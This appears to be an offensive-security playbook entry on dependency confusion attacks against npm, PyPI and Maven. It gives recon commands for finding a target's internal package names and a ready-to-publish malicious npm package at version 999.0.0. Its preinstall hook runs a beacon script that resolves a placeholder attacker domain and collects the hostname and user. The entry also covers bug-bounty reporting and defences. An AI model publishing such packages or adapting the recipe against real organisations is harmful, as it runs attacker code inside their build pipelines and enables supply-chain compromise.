| name | dep-confusion |
| description | Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code. |
| metadata | {"when_to_use":"dependency confusion npm pypi maven internal package private registry","mitre_attack":"T1195.002","subdomain":"supplychain","upstream_ref":"skills/_corpus/payloads/Dependency Confusion/"} |
Dependency Confusion (Alex Birsan 2021)
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
1. Reconnaissance — find internal package names
| Source | Pattern |
|---|
package.json in public repo | "@target/foo" scoped packages |
package.json exfiltrated from web (/static/) | dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure | target-internal-lib |
pom.xml / build.gradle | <groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
2. Verify the package is private
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
pip index versions target-internal-utils
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless
you can take it over — check abandoned packages w/ no maintainer email).
3. Build the malicious package
mkdir attack-pkg && cd attack-pkg
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
4. Publish
npm publish --access public
5. Wait + observe
Within hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
6. Programs that PAY for this
- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo
paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their
"supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier
7. PoC framing (for the report)
DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security
DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"
8. Severity
| Bug | Severity |
|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
9. Defender
- Block public-registry fallback for scoped packages:
.npmrc @target:registry=https://internal-npm.target.com/
- Use lockfiles + integrity hashes (
package-lock.json w/ integrity field)
- For PyPI:
pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages
- Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the
@org scope and publish a public empty placeholder w/ private field
Cross-references
Known exemplars
- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
- Multiple H1/BC programs continue to pay $3-30k for confirmed installs
- Repeated incidents in 2022-2024 — pattern not dying